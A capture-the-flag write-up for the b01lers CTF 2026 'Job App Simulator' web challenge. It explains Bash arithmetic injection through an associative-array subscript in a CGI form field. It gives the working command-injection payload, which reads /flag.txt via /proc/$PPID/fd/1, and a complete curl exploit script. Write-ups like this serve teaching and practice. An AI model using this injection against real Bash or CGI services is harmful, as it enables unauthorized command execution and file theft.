← Back to Writeups
CUSTOMMediumWeb

Job App Simulator

XESXOR9/10/20263 min read
#web#custom#medium#associative_array_subscript_in#bash_arithmetic_injection#proc_fd_stdout_exfiltration#linux

Job App Simulator

Platform: b01lersc | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-04-18 | Status: Solved Techniques: associative_array_subscript_injection, bash_arithmetic_injection, proc_fd_stdout_exfiltration

Summary

Task: an Apache CGI Bash application parses a form and checks graduation_year with [[ ... -lt 2026 ]], causing attacker input to be evaluated as arithmetic. Solution: inject an array subscript with command substitution, print /flag.txt through /proc/$PPID/fd/1, and leave the expression as 2026+a[0] so validation succeeds.

Job App Simulator — b01lers CTF 2026

Description

No official organizer description was included with the provided challenge files.

We are given an Apache CGI Bash application that accepts an application/x-www-form-urlencoded job application form. The goal is to turn the graduation_year validation into code execution and recover the real flag from /flag.txt.

Analysis

The important part of application.sh is the form parsing and the graduation year check:

bash
declare -A form_data
while IFS='=' read -r -d '&' key value && [[ -n "$key" ]]; do
    form_data["$(urldecode "$key")"]="$(urldecode "$value")"
done <<<"$request_body&"

if [[ "${form_data[graduation_year]}" -lt 2026 ]]; then
    echo "Invalid graduation year"
    return
fi

At first glance this looks like a simple numeric comparison, but in Bash the operands of [[ x -lt y ]] are evaluated as arithmetic expressions. That means attacker-controlled input is not treated as a plain string here.

So if we control graduation_year, we can supply an arithmetic expression instead of a normal year. Bash arithmetic also understands array syntax such as a[0], and array subscripts can contain command substitution. This gives a payload shape like:

text
2026+a[$(command)0]

If $(command) produces no captured stdout, the expression becomes:

text
2026+a[0]

In arithmetic context an unset array element evaluates to 0, so the whole expression becomes 2026, which is not less than 2026. The validation therefore passes.

Why /proc/$PPID/fd/1 works

There is one catch: output written to normal stdout inside $(...) is consumed by the command substitution itself and inserted back into the arithmetic expression, which would corrupt it.

The fix is to write directly to the parent shell's file descriptor 1 instead:

bash
/proc/$PPID/fd/1

Inside the injected sh -c, $PPID is the PID of the CGI Bash process running application.sh. Its file descriptor 1 is the CGI response stream, i.e. the HTTP body Apache sends back to us. Writing to /proc/$PPID/fd/1 therefore bypasses command substitution capture and prints data straight into the web response.

That is why this works cleanly:

  • cat /flag.txt >/proc/$PPID/fd/1 sends the flag into the HTTP response
  • the command substitution itself stays empty
  • the arithmetic expression collapses to 2026+a[0]

The START and END markers make the flag easy to locate inside the surrounding HTML.

Solution

Use a valid POST request with all required fields present and inject the working payload into graduation_year:

text
graduation_year=2026+a[$(sh -c 'printf START >/proc/$PPID/fd/1; cat /flag.txt >/proc/$PPID/fd/1; printf END >/proc/$PPID/fd/1')0]

When Bash evaluates the comparison, the command substitution executes, the flag is written directly into the parent CGI stdout, and the remaining arithmetic expression still passes the check.

Final curl exploit

bash
#!/usr/bin/env bash

URL='http://TARGET/cgi-bin/application.sh'

curl -s "$URL" \
  --data-urlencode 'first_name=A' \
  --data-urlencode 'last_name=B' \
  --data-urlencode 'email=a@b.cd' \
  --data-urlencode 'phone=1234567890' \
  --data-urlencode 'resume=hello' \
  --data-urlencode 'school=test' \
  --data-urlencode 'degree=test' \
  --data-urlencode 'graduation_year=2026+a[$(sh -c '\''printf START >/proc/$PPID/fd/1; cat /flag.txt >/proc/$PPID/fd/1; printf END >/proc/$PPID/fd/1'\'')0]' \
  --data-urlencode 'q1=on' \
  --data-urlencode 'q2=on' \
  --data-urlencode 'q3=on' \
  --data-urlencode 'q4=on' \
  --data-urlencode 'q5=on'

The response contains the markers and the flag between them.